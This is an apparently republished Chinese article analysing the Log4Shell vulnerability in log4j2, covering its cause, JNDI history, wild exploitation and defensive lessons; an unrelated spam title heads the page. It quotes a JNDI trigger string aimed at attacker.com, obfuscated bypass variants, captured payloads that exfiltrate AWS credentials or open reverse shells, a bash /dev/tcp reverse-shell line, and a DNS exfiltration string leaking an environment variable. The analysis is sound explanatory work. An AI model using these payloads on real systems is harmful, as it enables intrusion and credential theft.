自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Ghost in the Log4Shell

作者：李好
安全 應(yīng)用安全 漏洞
作為一個冷眼旁觀的安全工作者，筆者并不急于站隊(duì)，注意力則放在搜集和整理關(guān)于 Log4Shell 的各種或有趣，或有價值的事實(shí)和知識上。

多年以后，面對加班的夜晚，Volkan Yazıcı 一定會回憶起發(fā)生在 2021 年底的這件事情，除了沒日沒夜的工作和無休止的解釋以外，當(dāng)然也少不了人們的憤怒和對他的謾罵。一不小心就見證歷史的，除了 log4j 的作者們，還有我們所有人。

起初，大家都度過了一個黑客狂歡，吃瓜群眾玩梗，開發(fā)們加班的周末，以為這可能是又一次“心臟出血”或者“永恒之藍(lán)”。隨著事情愈演愈烈，影響愈來愈大，現(xiàn)在大家都應(yīng)該認(rèn)識到，這個漏洞比心臟出血要嚴(yán)重得多。比如 CISA 的官員稱其為從業(yè)以來最嚴(yán)重的漏洞(之一)，log4j 的修復(fù)也導(dǎo)致短短兩周內(nèi)升了三個大版本(目前只有最新的 2.17.0 被認(rèn)為是沒有問題的)。所以朋友們，不要懷疑，這絕對是一個有生之年系列。

核彈級漏洞 Log4Shell

漏洞本體 log4j 2.x，編號 CVE-2021-44228，滿分10分，花名 Log4Shell。

Log4Shell 之所以被稱之為一個核彈級漏洞，是因?yàn)樗哂幸韵逻@些特征：

  • 廣泛性：大(海)量 Java 應(yīng)用都依賴于 log4j 2，log4j 是事實(shí)上的日志標(biāo)準(zhǔn)。而 Java 本身的跨平臺特性，使得所有主流操作系統(tǒng)包括各種運(yùn)行 Java 的嵌入式設(shè)備都受到影響。
  • 嚴(yán)重性：從花名 Log4Shell 就可以看出來，它是一個 RCE 漏洞，也就是遠(yuǎn)程代碼執(zhí)行漏洞。這是所有漏洞中級別最高的一種。
  • 易利用性：該漏洞默認(rèn)開啟，攻擊面廣，攻擊渠道多，攻擊效果穩(wěn)定，攻擊條件易滿足，簡單來講，對攻擊者非常友好。堪稱腳本小子的入門級漏洞。
  • 長期性：因?yàn)?Log4Shell 具有明顯的供應(yīng)鏈攻擊特點(diǎn)，并且對于數(shù)量龐大的企業(yè)資產(chǎn)來說，確定影響范圍非常非常非常困難。保守估計，log4j 的負(fù)面影響至少需要半年時間來緩解。

眾說紛紜

距離漏洞爆出來已經(jīng)過了三周，關(guān)于漏洞的討論已然鋪天蓋地，審美疲勞。這其中，有安全廠商第一時間出來提供緩解措施和修復(fù)建議，有云計算和安全廠商趁熱打鐵推銷他們的 WAF 或者其它安全產(chǎn)品;有很多的安全工作者在社交媒體上分享博客和文章，分析漏洞原理，科普安全知識;有開發(fā)人員質(zhì)疑 log4j 的作者設(shè)計不當(dāng)，莫名其妙，難辭其咎，也有開發(fā)人員對此表示理解，認(rèn)為如今開源難做，重要而基礎(chǔ)的組件全是免費(fèi)維護(hù)，而一毛不拔的大廠才是罪惡根源。

作為一個冷眼旁觀的安全工作者，筆者并不急于站隊(duì)，注意力則放在搜集和整理關(guān)于 Log4Shell 的各種或有趣，或有價值的事實(shí)和知識上。對于開發(fā)人員來說，第一要務(wù)是盡快修復(fù)自己的產(chǎn)品和代碼，但是忙碌之余，是不是也好奇除了這些無聊的升級和修復(fù)以外，關(guān)于 Log4Shell，還有哪些你需要知道的事情呢。

漏洞細(xì)節(jié)

以下代碼對于 log4j (< 2.15.0)，默認(rèn)會觸發(fā)這個漏洞：

  1. public class App { 
  2.  private static final Logger logger = LogManager.getLogger(App.class); 
  3.  public static void main(String[] args) { 
  4.      logger.error("${jndi:ldap://attacker.com/x}"); 
  5.  } 
  6. } 

我們執(zhí)果索因，先來直擊漏洞觸發(fā)時的調(diào)用棧：

  1. JndiLookup.lookup(LogEvent,String) (JndiLookup.class:51) 
  2. Interpolator.lookup(LogEvent,String) (Interpolator.class:223) 
  3. StrSubstitutor.resolveVariable(LogEvent,String,StringBuilder,int,int) (StrSubstitutor.class:1116) 
  4. StrSubstitutor.substitute(LogEvent,StringBuilder,int,int,List) (StrSubstitutor.class:1038) 
  5. StrSubstitutor.substitute(LogEvent,StringBuilder,int,int) (StrSubstitutor.class:912) 
  6. StrSubstitutor.replace(LogEvent,String) (StrSubstitutor.class:467) 
  7. MessagePatternConverter.format(LogEvent,StringBuilder) (MessagePatternConverter.class:132) 
  8. PatternFormatter.format(LogEvent,StringBuilder) (PatternFormatter.class:38) 
  9. PatternLayout$PatternSerializer.toSerializable(LogEvent,StringBuilder) (PatternLayout.class:345) 
  10. PatternLayout.toText(AbstractStringLayout$Serializer2,LogEvent,StringBuilder) (PatternLayout.class:244) 
  11. PatternLayout.encode(LogEvent,ByteBufferDestination) (PatternLayout.class:229) 
  12. PatternLayout.encode(Object,ByteBufferDestination) (PatternLayout.class:59) 
  13. AbstractOutputStreamAppender.directEncodeEvent(LogEvent) (AbstractOutputStreamAppender.class:197) 
  14. AbstractOutputStreamAppender.tryAppend(LogEvent) (AbstractOutputStreamAppender.class:190) 
  15. AbstractOutputStreamAppender.append(LogEvent) (AbstractOutputStreamAppender.class:181) 
  16. AppenderControl.tryCallAppender(LogEvent) (AppenderControl.class:156) 
  17. AppenderControl.callAppender0(LogEvent) (AppenderControl.class:129) 
  18. AppenderControl.callAppenderPreventRecursion(LogEvent) (AppenderControl.class:120) 
  19. AppenderControl.callAppender(LogEvent) (AppenderControl.class:84) 
  20. LoggerConfig.callAppenders(LogEvent) (LoggerConfig.class:543) 
  21. LoggerConfig.processLogEvent(LogEvent,LoggerConfig$LoggerConfigPredicate) (LoggerConfig.class:502) 
  22. LoggerConfig.log(LogEvent,LoggerConfig$LoggerConfigPredicate) (LoggerConfig.class:485) 
  23. LoggerConfig.log(String,String,StackTraceElement,Marker,Level,Message,Throwable) (LoggerConfig.class:460) 
  24. AwaitCompletionReliabilityStrategy.log(Supplier,String,String,StackTraceElement,Marker,Level,Message,Throwable) (AwaitCompletionReliabilityStrategy.class:82) 
  25. Logger.log(Level,Marker,String,StackTraceElement,Message,Throwable) (Logger.class:161) 
  26. AbstractLogger.tryLogMessage(String,StackTraceElement,Level,Marker,Message,Throwable) (AbstractLogger.class:2198) 
  27. AbstractLogger.logMessageTrackRecursion(String,Level,Marker,Message,Throwable) (AbstractLogger.class:2152) 
  28. AbstractLogger.logMessageSafely(String,Level,Marker,Message,Throwable) (AbstractLogger.class:2135) 
  29. AbstractLogger.logMessage(String,Level,Marker,String,Throwable) (AbstractLogger.class:2011) 
  30. AbstractLogger.logIfEnabled(String,Level,Marker,String,Throwable) (AbstractLogger.class:1983) 
  31. AbstractLogger.info(String) (AbstractLogger.class:1320) 
  32. App.main(String[]) (App.java:19) 

代碼執(zhí)行到 jndiLookup.lookup 的時候觸發(fā)了這個漏洞。請注意以下幾個概念：

  • PatternLayout: 又叫模式布局，也就是形如 %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n 的模式，我們常常會在配置文件中用它定義日志格式。這其中 %msg 就是指代我們傳給 log.error 方法的內(nèi)容。
  • Interpolator：Interpolator(插值器)是一種屬性占位符，而插值器會包含許多 StrLookup 對象，這些對象會在運(yùn)行時通過調(diào)用 lookup 方法被替換成最終的值，比如 JNDI lookup。此外還有諸如 date, java, marker, ctx, lower, upper, main, jvmrunargs, sys, env, log4j這些 Lookup。所以你可以使用 ${jndi:key} 或者 ${env:key} 來替換 jndi 或者環(huán)境變量的內(nèi)容，而且還支持嵌套。請參考 log4j 的文檔了解更多細(xì)節(jié)。

漏洞觸發(fā)的原因是因?yàn)?%msg 對應(yīng)的 MessagePatternConvert 會使用 interpolator 來替換占位符，而 interpolator 默認(rèn)包含 JNDI 的 lookup。這些可以很容易從上面的調(diào)用棧分析出來。一個有趣的事實(shí)就是不管有沒有這個漏洞，log4j 都比一個 system.out.println 要復(fù)雜和靈活更多 – 沒有了 JNDI，log4j 仍然支持大量的占位符替換，可以輕松訪問一些環(huán)境變量，一些上下文的狀態(tài)。從這個角度看，Log4Shell 終于把日志注入攻擊達(dá)到了大眾的視野中。

那為什么會有 JNDI 這個功能?

筆者猜想 90% 的開發(fā)人員了解以上這個漏洞細(xì)節(jié)后，心里肯定會罵一句臟話。原來 log4j 這濃眉大眼的這么狡猾啊，一直以為你是移動電話，沒想到還可以神不知鬼不覺地刮胡子啊。這恰恰是因?yàn)檫@個漏洞理解起來太容易，利用起來更容易，畢竟它是一個真正把 feature 做成了漏洞的范例。所以大家不禁要想這樣的功能是如何誕生的?請看這個 Jira issue，JNDI Lookup plugin support。

2013年7月，該功能(漏洞)首次被引入 log4j2。理由是：

“Currently, Lookup plugins [1] don't support JNDI resources.

It would be really convenient to support JNDI resource lookup in the configuration.

One use case with JNDI lookup plugin is as follows:

I'd like to use RoutingAppender [2] to put all the logs ?from the same web application context in a log file (a log file per web application context).

And, I want to use JNDI resources look up to determine the target route (similarly to JNDI context selector of logback [3]).

Determining the target route by JNDI lookup can be advantageous because we don't have to add any code to set properties for the thread context and JNDI lookup should always work even in a separate thread without copying thread context variables.”

主要是兩點(diǎn)，一個是方便(JNDI確實(shí)方便啊)，一個為了和 logback 兼容。而且提需求的人很爽快地附帶了一個實(shí)現(xiàn)補(bǔ)丁。安全最大的敵人，方便和兼容都出現(xiàn)了。雖然最開始的場景是在配置文件里使用 JNDI，但是強(qiáng)大如 log4j 沒理由不能在每一條消息里面使用它。

JNDI 可謂是 Log4Shell 的靈魂，但是反過來卻不是。針對 JNDI 的攻擊存在了多年，它本身就是 Java 的重要攻擊向量。想要學(xué)習(xí)更多 JNDI 攻擊原理的同學(xué)可以參考 Blackhat 2016 的經(jīng)典 talk -- A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land

并且結(jié)合 log4j 提供的各種 lookup 和 converter，針對 JNDI 的攻擊也誕生了各種變形(為了繞過 WAF 和檢測)，比如 ${${lower:jnd${lower:i}}:xxx}。說到底，log4j 真的是太靈活了。

Java 日志庫的前世今生

2001 年，軟件開發(fā)者 Ceki Gulcu 設(shè)計了 log4j(v1)。后來 sun 也在 JDK 引入了一個叫做 Java Util Logging 的日志框架。不過始終都沒有 log4j1 那么強(qiáng)大和流行。因?yàn)槿罩編熳兌嗔?，于?Apache 趁機(jī)推出了所謂的 Logging Facade – JCL(Jakarta Common Logging)，可以動態(tài)綁定使用的日志庫。

2006 年，Ceki 離開 Apache 之后又開發(fā)了新的 Logging Facade，也就是我們現(xiàn)在熟知的 Slf4j(Simple Logging Facade for Java)以及各種橋接包(包括橋接 log4j )。再之后，Ceki 又開發(fā)了 Logback 作為 Slf4j 的默認(rèn)實(shí)現(xiàn)。至此 Slf4j + Logback 就變成一個新的強(qiáng)大而靈活的組合。

到了 2012 年，Apache 決定開發(fā)一個新的 logging framwork 來和 Slf4j + logback 競爭，這就是我們的主角 log4j2，以 log4j-api + log4j2-core 的形式，而且也不兼容 log4j v1。

所以現(xiàn)在 Java logging framework 就分為兩大陣營了。

社區(qū)反應(yīng)

Log4Shell 的影響太大，也波及了其它日志庫。所以有人為 Logback 提交了一個 commit，強(qiáng)調(diào) logback 和 log4j2 沒有任何關(guān)系，不共享代碼所以也不共享漏洞

https://github.com/qos-ch/logback/commit/b810c115e363081afc70f8bf4ee535318c3a34e1

而 Spring 則專門發(fā)文強(qiáng)調(diào)，Spring Starter 默認(rèn) logging 組件是 logback，不是 log4j2，所以沒有這個漏洞

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

最后的最后，終于有人決定重新開始維護(hù) log4j1 了

https://github.com/apache/logging-log4j1/commits/trunk

那我在用 log4j 1.x 我需要擔(dān)心 Log4Shell 嗎?

不需要。雖然 log4j 1.x 常年失修，疏于維護(hù)，但是不幸或者幸運(yùn)的是，log4j1 并不會受到 Log4Shell 的影響。

非常非常的尷尬，一個自從 2012 年起就沒有維護(hù)的組件，一個包含有多個 CVE 常年居于各種掃描結(jié)果的榜首，但是卻因?yàn)橐恢闭也坏匠浞值墓糇C據(jù)，茍活在在各大企業(yè)的代碼庫中，這其中包括 Altassian 的全線產(chǎn)品。盡管 log4j1 的代碼行比較少，功能也很簡單，但是無論如何，經(jīng)此一役，大家還是要認(rèn)識到一個常年缺乏維護(hù)的基礎(chǔ)組件是多么的危險。

Android 設(shè)備會受到 Log4Shell 的影響嗎?

大概率不會。眾所周知，Android 也是運(yùn)行在 Google 開發(fā)的 Java 虛擬機(jī)上，但是：

  • log4j 家族都不支持 Android，因?yàn)闆]人移植
  • Android 自己已經(jīng)自帶 logging 框架和相關(guān)基礎(chǔ)設(shè)施了

所以 Android OS 不會受到 Log4Shell 的影響，而 Android App，除非你自己移植了整個 log4j2 到 Android，否則答案也是 No。

Log4Shell 到底如何用來進(jìn)行攻擊的?

早在 12 月 16 日，一些安全實(shí)驗(yàn)室就已經(jīng)捕捉到了一些野生 payload 用于真實(shí)的攻擊，比如：

  1. GET /$%7Bjndi:ldap://<redacted>/Basic/Command/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdzL2NyZWRlbnRpYWxzKSIgaHR0cHM6Ly9jNnRkNW1lMnZ0Y<redacted>%7D HTTP/1.1 
  2. Host:<redacted> 
  3. User-Agent: ${jndi:ldap://<redacted>/Basic/Command/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdz 
  1. GET / HTTP/1.0  
  2. User-Agent: borchuk/3.1 ${jndi:ldap://<redacted>:1389/Basic/ReverseShell/<redacted_ip>/9999}   
  3. Accept: */*  
  4. Bearer: ${jndi:ldap://<redacted>:1389/Basic/ReverseShell/<redacted_ip>/9999}  

這些 payload 都是用一個叫 JNDIExploit 的工具庫生成的，中文的，大家自便。而該工具是 1 年前創(chuàng)建的。這說明要利用 Log4Shell，經(jīng)典的 JNDI + LDAP 攻擊就足夠了。

這一套 exploit 工具集支持多種攻擊，比如各種基于 tomcat，spring 和 weblogic 的 webshell 和反向 shell。比如這段代碼

https://github.com/zzwlpx/JNDIExploit/blob/master/src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java#L103 :

  1. mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"); 

就是一個經(jīng)典的只依賴于 bash 來實(shí)現(xiàn)反彈 shell 的例子。

此外，一家叫做 Bitdefender 的安全公司利用蜜罐，發(fā)現(xiàn)了大量僵尸網(wǎng)絡(luò)(botnet)和蠕蟲病毒利用 Log4Shell 的證據(jù)。其中，叫做 Muhstik 的 botnet 是最早的一批。這些僵尸網(wǎng)絡(luò)的目的主要是感染機(jī)器并在機(jī)器上部署挖礦程序。

另外，一個叫 Curated Intel 的組織維護(hù)了一個 github 倉庫，專門用來記錄和匯總針對 Log4Shell 攻擊證據(jù)和分析。

除了 RCE 我們還需要擔(dān)心什么?

對于現(xiàn)在復(fù)雜的企業(yè)網(wǎng)絡(luò)來說，要真正實(shí)施一次 RCE 攻擊可能并不是那么容易。但是這次 Log4Shell 真正帶來的巨大影響的，就是所謂的 DNS out-of-band attack(帶外攻擊)。我們已經(jīng)注意到，在 JNDI + LDAP 的注入字符串中，一般都會使用域名來指定服務(wù)器。于是，這里就存在一個經(jīng)典的注入帶外攻擊場景 – 如果你對 DNS 協(xié)議熟悉的話 – 當(dāng)一個不存在的域名第一次被解析時，它一定會被中間的 DNS 服務(wù)器反復(fù)往上游傳遞，直到它到達(dá)所謂的權(quán)威服務(wù)器，也就是域名的所有者。

我們以 "${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.somedomain.com/x}" 為例。當(dāng)漏洞被觸發(fā)時，被攻擊的對象會嘗試去連接 LDAP 服務(wù)器。根據(jù)之前提到的 env Lookup，${env:AWS_ACCESS_KEY_ID} 會被替換成相應(yīng)的環(huán)境變量(如果存在的話)，然后一個形如 "xxxxxxxx.somedomain.com" 的 DNS 請求就會被發(fā)出去。因?yàn)橐话銇碚f，"xxxxxxxx.somedomain.com" 是不存在的，但是 somedomain.com 卻是存在并且被攻擊者控制。所以最后，關(guān)于 "xxxxxxxx.somedomain.com" 的一切最后，都會去到攻擊者的服務(wù)器去查詢。于是 AWS_ACCESS_KEY_ID 就被泄露了。

環(huán)境變量可以挖掘的信息實(shí)在太豐富，同時考慮到其它 log4j2 自帶的 Lookup，即便泄露不了太多敏感信息，也提供了大量信息搜集的機(jī)會 – 而這往往是真正攻擊前最重要的步驟。

而對于企業(yè)來說，部署 WAF 或者防火墻來防御 RCE 攻擊是可行的，但是對于 DNS 帶外攻擊，實(shí)施審計和阻斷卻非常不現(xiàn)實(shí)。你可以想象一下，當(dāng)你需要訪問一個新的第三方服務(wù)時，不僅需要網(wǎng)絡(luò)保證暢通，還需要安全部門放行你的 DNS 請求。而企業(yè) DNS 服務(wù)往往是一個中心化的服務(wù)，這樣實(shí)施的成本實(shí)在太高。

假設(shè)防火墻或者 WAF 沒有防御住 Log4Shell 攻擊，企業(yè)應(yīng)該采取什么樣的策略進(jìn)行補(bǔ)救?

假如通過日志和 WAF 記錄都沒有找到有效的信息來排查或者防御 Log4Shell 的攻擊，或許縱深防御的思路可以幫到一些忙。通過部署 EDR 系統(tǒng)，終端審計系統(tǒng)或者某種沙箱系統(tǒng)，我們可以很方便地監(jiān)控和阻止一些特殊命令的執(zhí)行和一些典型的惡意行為。比如，如果一個 Java 進(jìn)程 fork 了叫做 curl 和 cmd.exe 的子進(jìn)程，那么這無論如何都是可疑的。這種思路不僅可以應(yīng)對 Log4Shell，也可以對付未來出現(xiàn)的各種 RCE 型漏洞。當(dāng)然，要發(fā)揮這種策略的效果，一個能快速響應(yīng)的安全流程和策略分發(fā)機(jī)制必不可少，同時一個完備的資產(chǎn)管理和威脅管理系統(tǒng)也必須建立起來。

后 Log4Shell 時代，我們應(yīng)該如何應(yīng)對

核彈級漏洞 Log4Shell(CVE-2021-44228)的影響必將是深遠(yuǎn)的，不僅僅是當(dāng)下肉眼可見的攻擊事件和損失數(shù)據(jù)，在相當(dāng)長時間的將來我們都會被這次的陰影所籠罩 – 蠕蟲病毒和勒索軟件的肆虐，個人敏感數(shù)據(jù)的大量泄漏。但是真正籠罩在大家心頭的還是因?yàn)樗o了我們軟件工業(yè)重重一擊 – 為什么如此明顯的漏洞存在于如此基礎(chǔ)的組件之中長達(dá) 7-8 年之久?說好的開源軟件更安全呢?我們的軟件工業(yè)到底怎么啦?

當(dāng)我們說安全難做的時候，往往不是說安全漏洞隱藏的多深，也不是說安全專家的稀缺。身處軟件工業(yè)的我們，聽說過太多傳說中的攻防故事，但大抵是愿意相信能力越大責(zé)任越大的 – 如果一個漏洞難以發(fā)掘和利用，那么它的攻擊成本是很高的，不管是從攻擊面還是從攻擊技術(shù)看;如果一個漏洞攻擊簡單，利用方便，那么防御的難度也會降低。當(dāng)我們說安全難做的時候，其實(shí)還是在說的是人的因素，是安全中最難控制的一環(huán)。當(dāng) log4j2 作為 Java 應(yīng)用中事實(shí)上的標(biāo)準(zhǔn)，被用在海量應(yīng)用中，其中包括了幾乎所有互聯(lián)網(wǎng)巨頭，但是只有兩位開發(fā)人員免費(fèi)維護(hù)時，這房間中的大象就已經(jīng)存在了。我想說這不是開源軟件出了問題，而是我們對開源軟件的理解有問題。沒有人維護(hù)的軟件，即使是開源的，也不應(yīng)該被認(rèn)為是安全的!

因此，Log4Shell 漏洞作為一個分水嶺，那么給后 Log4Shell 時代的我們的啟示有哪些呢?

  • 堅定不移的安全左移：想要通過使用和購買單獨(dú)的安全產(chǎn)品一次性解決問題的時代已經(jīng)過去了，新時代的安全防御一定是個系統(tǒng)性方案，包括了架構(gòu)，設(shè)計，開發(fā)，測試和運(yùn)維。關(guān)鍵詞：SDLC，安全內(nèi)建，DevSecOps
  • 系統(tǒng)監(jiān)控和應(yīng)急響應(yīng)：Cloud Native 時代，大家逐漸認(rèn)識到需要上云的不僅僅是業(yè)務(wù)和應(yīng)用，整個系統(tǒng)的監(jiān)控也是必不可少的。但是安全領(lǐng)域的監(jiān)控現(xiàn)在還是相對落后，不僅體現(xiàn)在工具上也體現(xiàn)在意識上。迅速建立一個系統(tǒng)化的資產(chǎn)管理和監(jiān)控系統(tǒng)是當(dāng)務(wù)之急。關(guān)鍵詞：SIEM，態(tài)勢感知，依賴管理和可視化
  • 敏捷威脅建模：Log4Shell 的其中一個教訓(xùn)是，不要相信任何用戶輸入，包括日志。過去我們做威脅建模，不管是 STRIDE 還是攻擊樹，往往只會把日志當(dāng)成是敏感數(shù)據(jù)泄露的源頭，而不是攻擊的輸入。當(dāng)我們反思為什么會漏掉這一環(huán)時，則恰恰說明了敏捷威脅建模的重要性。威脅建模不是一錘子買賣，它需要融入整個迭代中，這恰恰又印證了安全左移的理念。關(guān)鍵詞：敏捷威脅建模，資產(chǎn)分析，數(shù)據(jù)流可視化

【本文是51CTO專欄作者“ThoughtWorks”的原創(chuàng)稿件，微信公眾號：思特沃克，轉(zhuǎn)載請聯(lián)系原作者】

戳這里，看該作者更多好文

 

責(zé)任編輯：趙寧寧 來源： 51CTO專欄
Log4j漏洞網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全
相關(guān)推薦

2021-12-26 00:01:51

Log4Shell漏洞服務(wù)器

2021-12-15 06:21:29

Log4Shell漏洞網(wǎng)絡(luò)攻擊

2022-01-06 11:55:02

Aquatic PanLog4Shell漏洞

2021-12-17 09:50:21

Log4Shell漏洞勒索軟件

2022-01-10 09:30:33

Java漏洞漏洞網(wǎng)絡(luò)攻擊

2022-01-14 19:12:07

勒索軟件攻擊漏洞

2022-04-27 11:51:20

CISALog4Shell漏洞

2022-01-28 12:07:29

Log4j漏洞網(wǎng)絡(luò)攻擊

2021-12-14 16:07:04

Log4Shell漏洞黑客

2021-12-16 09:44:22

勒索軟件漏洞 Log4Shell

2021-12-21 06:14:10

漏洞勒索軟件攻擊

2021-12-22 09:54:48

黑客Log4Shell漏洞攻擊

2021-12-14 15:54:07

Log4ShellKronos私有云

2024-05-15 16:10:15

2021-12-14 11:07:55

Log4ShellJNDI漏洞

2021-12-28 07:32:56

Log4Shell軟件物料

2021-12-21 11:45:24

Log4Shell漏洞主機(jī)安全

2021-12-14 09:23:40

黑客漏洞網(wǎng)絡(luò)攻擊

2021-12-15 18:32:33

Log4Shell漏洞攻擊

2022-03-03 09:51:12

Log4j 漏洞網(wǎng)絡(luò)安全
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號